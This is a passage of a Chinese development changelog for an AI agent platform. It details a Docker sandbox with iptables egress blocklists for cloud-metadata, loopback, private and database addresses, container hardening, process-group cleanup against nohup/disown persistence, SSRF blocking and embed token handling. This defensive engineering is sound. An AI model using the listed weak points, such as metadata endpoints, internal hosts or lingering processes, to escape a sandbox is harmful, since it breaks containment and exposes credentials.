项含义)+ "配额硬化"段重写(fs 类型 → 处理动作映射表 + xfs 升级 4 步)+ 故障兜底 3 行(sandbox init failed / fs quota warn / image not found)。否决:(a) lifespan 探测失败 → fail-fast 而非 WARN —— Step 5 阶段应用层周期扫描已有,OS 层 quota 是外部开放硬要求不是 dogfood 硬要求,fail-fast 会阻碍 dogfood 启动;(b) sandbox check 自带 quota-set 子命令直接调 xfs_quota —— <pid> 整数 ↔ user_uuid 映射要建表跟踪,且 sudo + /etc/projects 改动属于运维操作,Step 5 阶段只落 RUN.md 说明 + 命令清单,真要做时在外部开放前一步;(c) 在 sandbox check 里探测 egress proxy 状态 —— Step 4 未实施,占位会让人误以为已落地。DESIGN.md 不动(纯按 §7.5 #4 既有协议实施);RUN.md 更新如上。
  • Stage C Step 3:DockerExecutor 集成 AgentLoop + web lifespan(ZCBOT_SANDBOX_BACKEND=host|docker env 切 backend):core/executor_docker.py DockerExecutor 组合 HostExecutor + SandboxPool,call_tool 按 §7.5 #6 信任域 dispatch:shell / run_pythonpool.ensure(user_id) 拿容器名 + docker exec --user 1000:1000 --workdir /workspace/<wd_name> -e PYTHONIOENCODING=utf-8 setsid bash -c <cmd> / python <script>(setsid 走包一层进程组,§7.5 #3 PGID kill 协议留 Step 3b 启用);其他工具(read/write/edit/glob/grep/load_skill/web_*/seedream/seedance)直通 host。run_python tmp .py 落 host 侧 <user_root>/.zcbot_tmp/<task_id>/<rand>.py,容器内对应 /workspace/.zcbot_tmp/<task_id>/<rand>.py(bind mount 自动可见);dotfile 起头让 /v1/files API 天然过滤(web/app.py:169 startswith(".") 已挡)。Cancel limitation 接受:Popen.kill() 杀 docker CLI 客户端,容器内 server 端进程不会因此终止(docker exec 设计如此);第一版靠 idle 5min reaper / 下次 ensurerm -f 兜底,升级触发为"用户报取消但还在烧 CPU"。core/sandbox/__init__.py 暴露 module-level singleton init_pool / get_pool,agent_builder._resolve_executor 按 env 切 backend、docker 路径 pool 未初始化 → fail-fast(不静默退到 host 防止"以为有沙盒实则在裸跑"误判);web/app.py lifespan 启动钩子:init_pool(workspace/users) + shutdown_all 清前驱孤儿 + asyncio.create_task(_reaper)(每 60s run_in_executor(pool.reap_idle)),关闭钩子 cancel reaper + shutdown_allpool.py 顺手清债:asyncio.Lockthreading.Lock(主使用方是 web BG 线程同步 tool call,asyncio.Lock 会被每次 asyncio.run 起的 ephemeral loop 绕过保护;reaper 改 async wrapper loop.run_in_executor(pool.reap_idle),pool API 全 sync 更直)。测试:tests/test_executor_docker.py 11 测试覆盖 host 直通 / shell argv 形态 / run_python tmp 文件清理 / timeout / cancel / 未知工具 / caps.enable_run_python=False;unittest discover -s tests 12/12 PASS(原 1 测试不变,新 11 测试加上)。Windows dogfood 零变化:默 ZCBOT_SANDBOX_BACKEND=host,本地不动 docker;切 docker 路径只在 Ubuntu 部署机有效,真起容器 smoke 仍按 RUN.md "Sandbox(Stage C,Ubuntu)" 段 5 条命令在部署机跑。DESIGN.md 不动(纯按 §7.5 #5 #6 既有协议实施);RUN.mdZCBOT_SANDBOX_BACKEND env 说明 + 切 docker backend 时的启动前置条件。否决:(a) DockerExecutor 用 asyncio.run(pool.ensure) 包 ephemeral loop —— 跨 loop 不共享 asyncio.Lock,失串行化保护,且每次 tool call 多 ~5ms loop 创建销毁噪声;改 pool 同步成本更低;(b) run_python tmp .py 放工作目录内 —— 污染用户视野,SKILL 教模型"列工作目录用 glob"时 tmp 文件干扰,crash 残留与产物混(详 §7.9 取舍记录会在下次有同款问题时考虑沉淀);(c) host 侧独立 bind mount <workspace>/.sandbox_tmp/<uid>/ 挂成容器 /tmp_scripts —— 多挂一个 mount 复杂度上升,单 bind mount 协议保持更直;(d) docker backend 失败时退化到 host —— 沙盒缺失=安全模型崩,fail-fast 比"看起来在跑"重要,§7.5 硬协议"任一缺失视为部署未完成"。
  • Stage C Step 2:Docker per-user 容器 + iptables blocklist(§7.5 #1 + #3 落地基底,未接入 AgentLoop):deploy/sandbox/Dockerfile(python:3.11-slim + tini PID 1 + iptables/iproute2/netbase + non-root user uid HOST_UID build-arg + 全套 requirements.txt 装到容器内)+ deploy/sandbox/init.sh(set -euo pipefail,任一 iptables 规则失败 fail-fast → 容器终止,符合 §7.5 #1"任一缺失视为 Stage C 未完成"硬协议;6 段 IPv4 红线 + ::1 IPv6 loopback 降级容忍 + ZCBOT_PG_IPS env 逐 IP DROP;exec sleep infinitydocker exec 进来)。core/sandbox/network.py 单函数 ensure_network(),docker network create --internal zcbot-sandbox-net(默认无 outbound + 跨容器隔离,Step 4 加 proxy 时 proxy 同接此网络);core/sandbox/pool.py SandboxPool 类持 per-user asyncio.Lock + in-memory _last_active dict —— ensure 路径 inspect 探测 → running 直接返 / exists-but-stopped rm -f 重起(保 iptables 重新 apply)/ 不存在 docker run 装齐 hardening flags(--read-only --tmpfs /tmp:exec --cap-drop=ALL --cap-add=NET_ADMIN --security-opt=no-new-privileges --pids-limit=256 --memory=2g --cpus=1.0 + bind mount user_root → /workspace + label zcbot.product=sandbox 给批量清扫用 + --restart=no);mark_active 更新 dict / reap_idle 按 ttl 杀 / shutdown_all 杀 label 全集(app 启动清前驱孤儿用)。容器命名 zcbot-sandbox-<user_id>(UUID 标准串带 dash,与 mount 路径 <workspace>/users/<user_id>/ 视觉对齐 ── docker ps | grep zcbot-sandbox- 直接看活跃 user)。关键决策:(a) docker CLI via subprocess 而非 docker-py SDK ── §7.5 #5 "接口形状不泄漏 Docker 假设"对应到实现层,subprocess 行为透明、零新依赖、docker ps 实地对账;(b) docker update --label-add 不可用 → 用 in-memory dict ── Docker 23+ 移除 runtime label 修改,所以 last_active 落 Python dict;app 重启 dict 空 → 历史孤儿由 shutdown_all 兜底清(lifespan 启动钩子里调);(c) --internal 网络从 Step 2 即生效 ── iptables OUTPUT 规则作为 defense-in-depth(网络层已堵死 outbound,iptables 仍按协议加规则);Step 4 加 proxy 时 proxy 容器同接 zcbot-sandbox-net,加 iptables ACCEPT 例外 + 改默认 DROP 实现"默认 deny + 仅经 proxy";(d) NET_ADMIN cap 留给 PID 1 root 跑 iptables ── 容器整生命周期持 NET_ADMIN,但 PID 1 sleep infinity 不接外部输入,docker exec 进来由 --user 1000:1000 锁 non-root + 空 cap_effective,等同于无 NET_ADMIN。Step 3 DockerExecutor 必须硬编 --user 1000 不让 root 路径打开(代码 review 守住)。Step 2 范围明确不包含:① AgentLoop 集成(agent_builder.py 不动 ── pool 是孤立模块,Step 3 才插)② shell/run_python 切到容器 ③ egress proxy(Step 4)④ reaper 后台 task(Step 3 接入 web lifespan 时一起加)。验证:from core.sandbox import ... 全套导入 + ctor 通过;SandboxPool(user_root_base=Path(...), pg_ips='10.x,172.x') 字段正确;unittest discover 1/1 PASS。docker 真起容器验证在 Ubuntu 上跑(RUN.md "Sandbox(Stage C,Ubuntu)" 段写了 5 条 smoke 命令:build / iptables 段 / non-root uid / read-only / 销毁)。DESIGN.md 不动(纯按 §7.5 #1 #3 既有协议实施);RUN.md 加 "Sandbox(Stage C,Ubuntu)" 部署段(镜像构建 / sandbox env / 5 条验证命令 / xfs project quota 升级时点)+ 故障兜底加 2 条(uid 错配 EACCES / NET_ADMIN 缺失)。否决:(a) 容器名用 sha256(uid)[:12] + label 反查 —— 每次 exec 多一次 docker ps --filter round-trip,可读性损失,隐私收益 0;(b) per-task 容器 —— DESIGN §7.5 已锁 per-user 共享心智模型(同 user 多 task 共享素材),不重开;(c) 用 docker init container 范式做 iptables —— Docker 没原生支持(那是 k8s),compose v2 同步又增复杂度,NET_ADMIN + 非 root exec 范式更直接;(d) Step 2 立即接入 AgentLoop —— 接了不能 dogfood(本地 Windows 无 docker),反而污染 host 路径;pool 孤立 commit 留 Step 3 一起接。
  • Stage C Step 1:Executor 接口骨架 + HostExecutor in-process backend(§7.5 #5 落地):core/executor.pyExecutor ABC + ExecCtx(user_id/task_id/working_dir/cancel_check)+ ToolResult(content/exit_code);core/executor_host.pyHostExecutor 包原 tools dict,call_tool 内部分流到对应 Tool.execute 并把三种错误(unknown / TypeError / 抛异常)统一收成 [Error] ... content + exit_code 区分。AgentLoop.__init__ 改接 executor 而非 tools dict、加 working_dir 形参;_stream_llmexecutor.schemas() 拼 LLM tools 字段;_execute_tool_call 改单条 executor.call_tool(name, args, ctx),删原三段错误 emit(unknown/TypeError/Exception 已被 executor 收编为 ToolResult,只剩一处 emit)。agent_builder.py 装完 tools dict 后 HostExecutor(tools) 包一层,传给 AgentLoop接口形状刻意 backend 无关——不暴露 docker exec / docker cp 等 Docker 假设,Step 3 切 docker backend 时 AgentLoop 零改动,只换 agent_builder.pyHostExecutorDockerExecutor(host_tools=..., docker_tools={shell, run_python})行为零变化 —— sanity import 通过,unittest discover -s tests 1/1 PASS。DESIGN.md 不动(纯按 §7.5 #5 既有协议实施,无架构漂移);RUN.md 不动(无新 env / CLI 变化,ZCBOT_SANDBOX_BACKEND env 留到 Step 3 docker backend 引入时一起加)。否决:(a) 不抽 Executor 直接在 shell.py/run_python.pyif backend=='docker' —— 违反 §7.5 #5,未来切 gVisor/Firecracker 时改动散到工具层;(b) Executor 用 exec(cmd, ctx) primitive 而非 call_tool(name, args, ctx) dispatcher —— 不匹配 DESIGN 签名,且 host 工具(read/web_*/seedream)不是 "命令" 语义;(c) 用 cancel_check callable 替代 ExecCtx 重建 —— 当前 cancel_check 是 build 后 setter 赋值,ctx 缓存会指向 stale,per-call 构 ExecCtx 是 dataclass 廉价。
  • REVISIONS.md 修订日志机制(覆盖 proposal/patent/ppt 三个产物型 skill):<task_dir>/REVISIONS.md 作为产物迭代过程的紧凑 changelog —— task 对话历史是粗流水(50 条消息找上周改动靠翻),REVISIONS 是用户与 LLM 共同沉淀的实质决策列表(5 行就能复盘"上周这章为啥这么写"),与 spec 定位互补:spec = 宪法(定调一次),REVISIONS = 实施日志(每次卡点累加)。三个 SKILL.md 各加 (a) 起草步骤里加一步"用户确认实质改动后追加一行" + (b) "## 修订日志" 独立小节(何时记/何时不记表 + 格式约定 + 实例 + 操作)。三类 skill 的"实质改动"判据按各自领域定制:proposal = 技术路线/考核指标/创新点/课题分解/关键引文/预算结构;patent = 区别技术特征/关键参数/公式/实施例/章节;ppt = 版式/主色/页/图标/文案要点。统一原则:首次起草不记 / 错别字微调不记 / 模型自己改改撤撤不记 — 拿不准倾向不记,避免变流水账。格式选单行 bullet 倒序追加(时间在前、文件:章节定位、改了什么 — 为什么),用 edit 在头注释后插入新一行(不 append 到末尾,倒序读秒看最新)。否决:(a) 走 system prompt 软约束 — 对 coding/research/documents/imagegen/videogen 等非产物型 skill 强加无关约束;(b) 新建 record_revision tool — 开发期内 LLM 直接 edit 追加足够,加 tool 增加每次小改的调用开销,后期发现 LLM 漏记多再升 tool 化;(c) 按产物拆多文件(<topic>.revisions.md)— 单文件好读、跨产物时间线统一。DESIGN.md 不动(无架构变化);RUN.md 不动(无 CLI/env 变化)。
  • 新增 patent skill(中国发明专利技术交底书):skills/patent/ 完整 6 文件 — SKILL.md 主入口(五阶段 workflow:摄取 → 挖点 → 检索 → spec → 逐章起草 → 自查渲染,跟 proposal 同款 BLOCKING 节奏)+ references/{disclosure_structure,patent_point_taxonomy,prior_art_search,self_check}.md 4 份指南 + templates/{spec,disclosure}.md 2 份模板。关键复用避免重复造:① 素材摄取用 markitdown CLI(不内置 docx/pptx→md);② mermaid + docx 渲染直接复用 skills/proposal/scripts/{render_diagrams,render_docx}.py(参数兼容,patent 不另写);③ 现有技术检索走现成的 web_search/web_fetch(Bocha)+ documents + research,不实现 CNIPA Playwright 爬虫(反爬重、维护成本高,正式可作 IDS 提交的检索建议走线下专业渠道);④ 不实现修订日志(zcbot task 对话历史已有)。源 repo github.com/handsomestWei/patent-disclosure-skill 的 11 prompts 文件折叠进单份 SKILL.md(跟 proposal/ppt 风格一致)+ 8 Python tools 减到 0(全靠复用)。skill 内特有内容:7 章交底书骨架(技术领域 / 背景 / 发明内容 / 附图 / 实施方式 / 有益效果 / 权利要求建议)+ 三性自检(新颖/创造/实用)+ 9 类客体排除清单 + 6 类自查清单 + 脱敏边界(商业敏感词中性化、技术参数不脱敏)。SkillRegistry 自动发现验证通过。DESIGN.md 不动(无架构变化,纯新 skill);RUN.md 不动(无 CLI/env 变化)。
  • §7.5 沙盒落地清单 6 条写入 DESIGN(Stage C 实施硬协议):Stage C 动手前把"原则 → 具体协议"沉淀,防实施时漏。① 网络 blocklist 硬编码段(169.254.0.0/16 cloud metadata / loopback / 内网三段 / 100.64.0.0/10 CGNAT,PG IP 单独再 block 一遍——Capital One 2019 同款攻击向量);② egress proxy 模型(容器 HTTP_PROXY env + iptables DROP except proxy 端口防 SDK 绕 env,宿主侧 proxy 做域名 allowlist + 字节计量 + network_audit 审计日志,allowlist 初始集列出 PyPI / GitHub / npm 等);③ 进程组清理协议(docker execsetsid + kill -- -PGID,防 nohup & / disown 跨 exec 持久化破"同 user 不内隔离"残留风险假设);④ 磁盘配额硬化时点(开外部前必须升 xfs/ext4 project quota 或 zfs dataset quota,否则扫描间隙打满共享 fs 拖死同节点);⑤ Executor 接口走 backend driver + ZCBOT_SANDBOX_RUNTIME config 注入(未来切 gVisor/Firecracker/e2b 应用层零改动,避免 Docker API 形状泄漏到接口层);⑥ 工具按信任域二分 dispatch — host in-process:read/write/edit/glob/grep/load_skill/web_search/web_fetch(原本就在 host 持凭据 / 走 paths.py 校验,塞容器无收益付 200ms × N),container exec:shell/run_python(执行任意代码必隔离)。同时把 gVisor / Firecracker / 容器内 tool-runner 三档升级触发信号写死,反向兜底"无信号不升级"。否决:(a) 把落地清单同时写进 DESIGN 和 PROGRESS 双 source — 漂移源,PROGRESS 只指针 DESIGN;(b) 在落地清单里写"勾对"验收语气 — DESIGN 写为什么 + 协议形状,验收语气进 PROGRESS 下一步候选 DoD;(c) 立即开始实施 — 设计先沉淀,实施排进下一步候选 #2 单独节奏。RUN.md 不动(运行方式无变化,Stage C 还没实施)。

2026-05-25

  • dev SPA 前端 CDN 资源本地化 + 升级稳定版:web/static/dev.html 顶部 markdown 渲染依赖从 jsDelivr CDN 改成本地 web/static/vendor/markdown/ 文件,避免内网/跨境访问 CDN 抖动导致 Markdown / XSS sanitizer / 代码高亮不可用。版本按 npm/latest 核对后固定为 marked@16.2.1(marked.umd.js)、dompurify@3.2.6highlight.js@11.11.1(含 github.min.css),并新增 tests/test_static_vendor.py 标准库 unittest 回归检查:HTML 不再出现 cdn.jsdelivr.net,且 4 个本地 vendor 文件存在非空。DESIGN.md 不动(无架构变化);RUN.md 不动(运行方式无变化)。

  • dev SPA 三类上传入口显示进度:web/static/dev.html 上传底层从 fetch 改为 XMLHttpRequest 以使用 xhr.upload.onprogress,保留 /v1/files/upload 后端 API 不变。uploadFiles(files,{onProgress}) 统一服务 Ctrl+V 粘贴、右侧上传按钮、右侧拖拽上传;粘贴时 #chat-hint 显示 上传中 N% · 文件名 · 已传/总量,完成后仍切到可预览/可删除 chip;右侧上传按钮和拖拽入口共用 #file-upload-status 状态条,显示总进度条和完成/失败短提示,成功后刷新文件列表。DESIGN.md 不动(纯 dev SPA 上传交互);RUN.md 不动(运行方式无变化)。

  • dev SPA Ctrl+V 粘贴上传 chip 支持删除:web/static/dev.html 粘贴上传成功后的 chip 改成 paste-chip-wrap 组合控件:文件名按钮继续预览,右侧 ×POST /v1/files/delete 删除该上传文件(recursive:false),删除后移除对应 chip、刷新右侧文件栏;若主/小预览当前正打开这个 rel,同步关闭对应预览。全部 chip 删除完后 chat-hint 显示"已删除粘贴文件"。DESIGN.md 不动(纯 dev SPA 交互);RUN.md 不动(运行方式无变化)。

  • dev SPA Ctrl+V 粘贴上传反馈改成可预览 chip:web/static/dev.html uploadFiles() 成功时返回 /v1/files/uploadsaved[] 元数据,粘贴文件后 #chat-hint 显示"已粘贴" + .art-chip 文件 chip + "可在右侧文件处查看",不再 4s 自动消失,下一次发送时由原有"发送中…"状态覆盖。chip 点击复用 openFilePreview;若主文件预览框已打开,改开新增的 #mini-preview-modal 小预览窗(支持 image/video/pdf/text/md,其它格式给下载兜底),避免覆盖用户当前正在看的主预览。DESIGN.md 不动(纯 dev SPA 交互);RUN.md 不动(运行方式无变化)。

  • dev SPA 三栏支持右文件栏折叠 + 左右分隔线拖拽调宽:web/static/dev.html 主布局从 3 列 grid 改为 5 列 grid(任务栏 / 左 splitter / 对话栏 / 右 splitter / 文件栏),新增 #split-left / #split-right 两条 6px 拖拽分隔线,拖动时分别调整 --left-pane-width / --right-pane-width 并持久化到 localStorage(zcbot.left-width / zcbot.right-width)。右侧文件栏新增 #pane-toggle-right,折叠态复用左栏 rail 范式:列宽 40px,只保留展开按钮,状态持久化到 zcbot.right-collapsed;手机端继续走三 tab 单列,隐藏折叠按钮和 splitter,避免与移动端导航冲突。DESIGN.md 不动(纯 dev SPA 布局交互);RUN.md 不动(运行方式无变化)。

  • dev SPA 右侧文件列表长名称 hover 显示全路径:web/static/dev.html 在右 pane 文件行 .file-row .name 和"选入…"源文件列表 .sp-row .sp-name 上补 title,内容取 e.rel || e.name,保留现有 ellipsis 截断视觉,鼠标悬停可看完整相对路径/名称。DESIGN.md 不动(无架构/心智模型变化);RUN.md 不动(运行方式无变化)。

  • dev SPA 左侧滚动条只覆盖 task 列表:web/static/dev.html 左 pane 改成 flex column,顶部 4 行 pane-head(任务标题/新建/搜索筛选/排序)固定不参与滚动;#task-list#task-sentinel 包进 #task-scroll,并把 IntersectionObserver root 从 #pane-left 改到 #task-scroll,保证无限滚动仍按列表区域触发。DESIGN.md 不动(无架构/心智模型变化);RUN.md 不动(运行方式无变化)。

  • 接入博查 Web Search + Web Fetch 两个 tool:tools/web_search.py(BochaConfig/BochaClient, POST /v1/web-search,Bearer 认证),tools/web_fetch.py(httpx + html2text,SSRF 内网屏蔽,截断 8000 字符);config/web/bocha.yaml 配置 API key env(BOCHA_API_KEY);core/agent_builder.py 注册 — web_fetch 无条件挂,web_search 仅在 env 设了 BOCHA_API_KEY 时挂(跟媒体 tool 同范式)。requirements.txthttpx>=0.27.0 + html2text>=2024.0DESIGN.md 不动(纯新 tool 无架构变化);RUN.md 不动(运行方式无变化)。

2026-05-22

  • dev SPA 手机端对话面板顶栏 + chat-meta 紧凑化:web/static/dev.html 手机段(≤640px)对 #pane-mid > .pane-headflex-wrap: wrap + 按钮 white-space: nowrap,消除 5 个按钮(导出对话记录/清空对话/完成/废弃/删除)在 320-360px 视口被挤压后"完\n成"这种逐字竖排;同时藏掉 .label("对话",mobile-tabs 已亮态指示)和 .spacer(flex-wrap 下 spacer 会强制后续按钮换行影响视觉一致)。#chat-meta 同段把 gap 8px → 6px、藏 .tid(8 位 UUID 前缀手机用户用不上)、.descmax-width:60vw ellipsis(避免长 description 独占一行);三个 model 下拉 label "模型/生图/生视频" 用 .mdl-text / .mdl-icon 双 span 渲染,桌面显文字 + 手机显 emoji(💬🖼🎬)—— renderModelDropdown / renderImageModelDropdown / renderVideoModelDropdown 三处统一。改动只在手机视口生效,桌面零变化。否决:(a) 折叠成 ⋯ 浮层菜单(用户拒,多一次点击);(b) 改图标按钮(5 个动作含义不直观需 tooltip);(c) 把 emoji 应用到桌面(无解决问题且改动用户已习惯的桌面态)。
  • embed 模式接受 task_id URL 参数定位 task:web/static/dev.html 解析 ?task_id=<uuid> 并在首次签发 token 后调 selectTask(task_id) 自动加载该 task 的消息列表;两条进入路径都覆盖 —— ① embedHandleMessage 收到 zcbot-token 首次 enterApp() 之后(无缓存 token 走父端握手);② embedInit 启动时 localStorage 已有 token 直接 enterApp() 之后。_embedInitialTaskHandled once 标记保证只生效一次 —— 401 重签时不重置选择(尊重用户中间 UI 切过别的 task),后续切 task 走 UI 用户主导。task_id 错或不属于当前 user → selectTask 走原有 401/404 错误分支(chat 区显"加载失败:…")。EMBED.md URL 参数表新增 task_id 行 + 故障兜底表加一行"带 task_id 没自动定位"。否决:(a) postMessage 协议加 zcbot-task 让父端任意时刻切 task —— 当前需求只到"打开 iframe 时定位",加协议增维护面;父端要切换可重载 iframe 走 URL 参数同一路径;(b) 把 task_id 塞进 zcbot-token payload —— token 是身份,task 是导航状态,语义混耦;(c) 同时支持 ?msg_id= 滚动到特定消息 —— 用户没要求,加 anchor 还要改 loadMessages 渲染后滚动逻辑,YAGNI。
  • 媒体生成每账号每日配额(yaml 可配,默 20 图 / 5 视频):config/agent.yamlquotas 段(images_per_day: 20 / videos_per_day: 5),core/storage/usage.py::check_daily_quota(user_id, kind, limit) SELECT COUNT FROM usage_events WHERE user_id=? AND kind IN(image/video) AND created_at >= 本地今日 00:00,limit<=0 短路不查 DB。SeedreamTool / SeedanceTool ctor 新增 daily_limit 形参由 agent_builder 从 yaml 透传,execute() 起手 if 超额返 [Error] 已达每日 X 生成上限(N/M),次日 00:00 重置 不调远端不烧钱。tool 返串会进 LLM 上下文 → 模型据此对用户解释,所以只暴露已用/上限 + 重置时间,不写 config/agent.yaml::quotas.X 这种 yaml 路径(否则 LLM 倾向原文复述,SaaS 场景泄漏内部 schema 给外部用户;管理员要调改自己读代码/yaml 找,30 秒事)。跨 task 跨 variant 全口径合计 —— 配额是账号级与具体 variant 无关(seedream + 未来的 seedream_pro 共享同一 20 张池)。失败任务不计 —— record_*_usage 只在成功+下载完才落库,失败 retry 不烧配额符合直觉。并发 race(同 user 跨 task 两次 check 同时过)可接受 —— 软上限非计费 hard cap,日级偶尔多 1 张不破坏保护意图,不加事务锁。否决:(a) env 变量(ZCBOT_IMAGES_PER_DAY 等)—— 配额是业务策略不是部署秘密 / 环境差异,跟现有 yaml 类参数(默认 size / 价格 / 超时)分工一致,且 yaml 带注释 + 多值组合扩展自然(未来加 audio_per_day);(b) AgentLoop 集中 pre-flight —— 给 loop 加配额映射反而散,tool 层自检每次只多一行 SQL 亚毫秒,符合"工具按原子操作切分";(c) 滑动 24h 窗口 —— 用户直觉是"今天用完了明天再来"的日历日,服务器本地 00:00 重置语义更顺;(d) tool 返串里贴 yaml 路径给管理员看 —— LLM 会向用户复述,泄漏内部 schema。
  • "+ 新建任务"按钮从 header 挪到任务面板 + 改通栏单独一行:web/static/dev.html #hd-new 节点直接在 HTML 里挪到 #pane-left,放在第一行 .pane-head(任务标题 + 计数 + filter + 刷新 + 折叠)之下、搜索行之上的独立 .pane-head 行,flex:1 撑满整行(primary 红底通栏 CTA)。原本塞在第一行 spacer 之后,但 pane 320px 宽度下"+ 新建任务"中文五字会被挤断行,通栏解决根因。语义更贴(新建任务 = 任务面板的动作);顶栏减负只剩身份区(brand / 用户名 / 退出登录);两种模式 DOM 一致,顺手删了 embedInit 里动态 insertBefore 那段 + @media phone#hd-new 紧凑覆盖(通栏环境不需要缩字号)。桌面 / 平板折叠态被 #pane-left > * { display: none } 自动藏掉,无需额外覆盖。
  • dev SPA 加 iframe embed 模式(?embed=1&parent_origin=...):web/static/dev.html 加 embed 模式 — 父页面 iframe 嵌入时藏左上 brand / 顶栏 #hd-who / 退出登录按钮(桌面段整层 header display:none,移动段保留 header 给 .mobile-tabs 切换用),JS embedInit#hd-new("+ 新建任务")从 header 节点移到任务面板 pane-head(spacer 之后、#filter-status 之前,加 small class 跟周边按钮对齐高度)。postMessage 协议:iframe 启动发 {type:"zcbot-ready"} 给父端,父端调自家后端用 PLATFORM_KEY 走 zcbot 已有的 POST /v1/auth/login 拿 JWT,通过 {type:"zcbot-token", token, user_id, user_name?} 推回 iframe;iframe 写 localStorage + enterApp()。401 时改写 logout() 不再 location.reload(),而是发 {type:"zcbot-401"} 通知父端重换 token,期间显灰底等待层(#embed-waiting spinner + 文案);新加 css class body.embed-mode / body.embed-mode.embed-waiting 控制可见性。安全要点:event.origin 双向校验(白名单 = URL 参数 parent_origin),缺参数直接显错误占位拒收;PLATFORM_KEY 留在 platform 后端绝不下发浏览器。web/EMBED.md 写给 platform 工程的对接手册(URL / 协议 / Node/Python 后端示例 / 父端前端示例 / CORS / CSP frame-ancestors 收紧建议 / 调试 + 故障兜底表)。否决:(a) URL 参数直接传 token —— Referer / 浏览器历史泄漏面;(b) 同源 + 共享 localStorage —— 用户明确说不同源;(c) 拆 dev.html 进 platform SPA route —— 工作量爆炸。
  • dev SPA chat-input 支持 Ctrl+V 粘贴文件上传 + chat-hint 反馈:web/static/dev.html#chat-inputpaste 监听 —— e.clipboardData.files 非空时 preventDefault + 复用现有 uploadFiles(files)/v1/files/upload 落到 state.filesPath(与拖拽到右 pane 同通路);纯文本粘贴走默认不拦。uploadFiles 改返回 bool(成功 true / 失败 false,原 alert 行为不变);粘贴 handler 通过 chat-hint 广播 "上传中:…" → "已粘贴:"(4s 后回前一个 hint,同 optimizePrompt 救回范式,不破坏 streaming/optimizing 期间的状态)。失败仍走 alert,hint 立即恢复。placeholder 提示加 Ctrl+V 可粘贴文件。常见场景:截图后直接 Ctrl+V 入对话区当作素材上传,免去切窗口走右 pane 拖拽。
  • dev SPA 文件预览弹框让出 chat-form 高度(打开期间输入区仍可点可打字):web/static/dev.html#file-preview-modalbottom: var(--preview-bottom-inset, 0) —— 默认 0 行为不变,openFilePreview 时 JS 量 #chat-form.offsetHeight(隐藏走 offsetParent 判空 → 0,无活动任务恢复全屏)写到弹框元素 inline style 上;.cardmax-height: calc(100vh - var(...) - 32px) 让卡片随容器收缩不溢出,手机段同理用 100dvhcloseFilePreview removeProperty 清掉避免下次冗余。弹框遮罩本身物理上不覆盖底部输入区 → chat-form 自然可点击/打字,Esc 与点遮罩关闭逻辑不动。否决:(a) 整窗 pointer-events: none + card 收回 —— 遮罩物理还在覆盖,视觉仍遮挡;(b) 弹框抽进 #pane-mid 内 absolute —— 弹框来源含 #pane-right 文件列表和聊天 chip,挂 mid 内会限制弹框只能在 mid 列,且 #pane-mid 多层 flex 嵌套要重排;(c) 硬编一个常量 bottom: 140px —— chat-form 高度依据 textarea 用户拖拽变化(min 60 但可拉高),JS 量一次足够准。
  • 对外路径协议刚性化(system 强约束 + SKILL 简化 + UI 一次性兼容):prompts/system/general_v1.md「路径」段加规则 —— 助手对外 echo 产物路径必须用 user_root 相对全形式 <wd_name>/<rel>(<wd_name> = task_dir 末段,如 生图测试/videos/xxx.mp4 / 基金申报/sections/01-绪论.md / 公司汇报/slides/deck.pptx),不简写为 videos/xxx.mp4 这种 task 内裸形式(Web UI 按 <wd_name>/ 前缀挂 chip,简写 → chip 失效用户点不开)。媒体 tool(seedream / seedance)的 saved: 行已是规范全形式可直接照抄,其他场景(ppt / proposal / coding 等 run_python/write 写文件)自己拼。跨所有产物 skill 统一生效(不止 imagegen/videogen)。skills/imagegen/SKILL.md + skills/videogen/SKILL.md 把原有"把 saved: xxx 告诉用户"重复教学改成"照抄 saved 行,详见 system「路径」段"(消除 skill 内具体写法 → 协议归一到 system,新产物 skill 不用重复教育)。ppt/proposal/coding 等 SKILL 不动 —— 它们只泛说"告诉用户文件路径"没教错,system 协议升级后助手自然按全形式 echo,加 skill 提醒反而是协议漂移源。web/static/dev.html::extractArtifactRels 加一次性兼容兜底:产物目录裸路径 videos/xxx.<ext> / figures/xxx.<ext>(协议刚性前历史简写)prepend <wdName>/ 拼成 user_root rel —— 白名单显式枚举两项不扩展、长期老消息归档后整段可删。术语校准:前缀叫 <wd_name>(working_dir 最后一段)而非 <task_name> —— 用户允许 wd_name ≠ task_name(build_agent wd_raw 走 working_dir 字段独立可指定),_display 锚 user_root 出来的是 <wd_name>,SKILL/system 早期写 task_name 在分叉场景下会误导助手拼错前缀。否决:(a) 后端 _display 改 task-relative 让 tool 输出本身就裸 —— Tool 基类 + fs/skill_tool/seedream/seedance/agent_builder/smoke 改 8 个文件,且 fs 跨 task 时要分层 fallback(working_dir → user_root → 绝对),复杂度超过收益;(b) 后端补 HEAD 探针让前端验文件存在再挂 chip —— 工程量与开发期需求不匹配;(c) 白名单常驻服务所有简写形式 —— 维护负担+清单可能膨胀,改成"一次性兼容历史消息"角色后边界清晰;(d) 每个写产物的 SKILL 各加一句"按 system 协议" —— 协议漂移源,违反"system 谈通用、SKILL 谈领域"边界。
  • dev SPA 手机自适应:两档断点 + tab 单列:web/static/dev.html@media,**平板段(641-1024px)**纯 CSS 强制 rail(grid 40px 1fr 260px + 左 pane 子项 display:none + 留 toggle 按钮),不写 localStorage —— 回桌面用户原偏好仍生效。**手机段(≤640px)**单列布局 grid 1fr + grid-template-areas:"head" "main",三 pane 都 grid-area: main 且默认 display:none,新加 body.mv-{left,mid,right} 控制当前可见 pane;header 加 .mobile-tabs(任务/对话/文件)桌面 display:none,手机段 order:99 + flex-basis:100% 换行铺底;selectTask 末加 if (mqPhone.matches) setMobileView("mv-mid") 选中任务自动切对话。applyMobileMode() 监听 matchMedia("(max-width: 640px)"),进手机时清 DOM 上的 left-collapsed class(localStorage 不动),回桌面再 applyLeftCollapsed(读 localStorage) 恢复。100vh → 100dvh 解决 iOS Safari 工具栏挤压;textarea / input 强制 ≥16px 防 focus 双指缩放;4 个 modal 卡片宽度从固定 px 改 min(92vw, …),file-preview 改 100vw × 100dvh 全屏化。#pane-toggle-left { display:none !important; } 手机不允许折叠避免与 tab 切换语义冲突。否决:(a) 抽屉式(要写遮罩+手势 JS,自用工具不划算);(b) 只缩字号不改布局(三列在 360px 屏字段严重截断)。
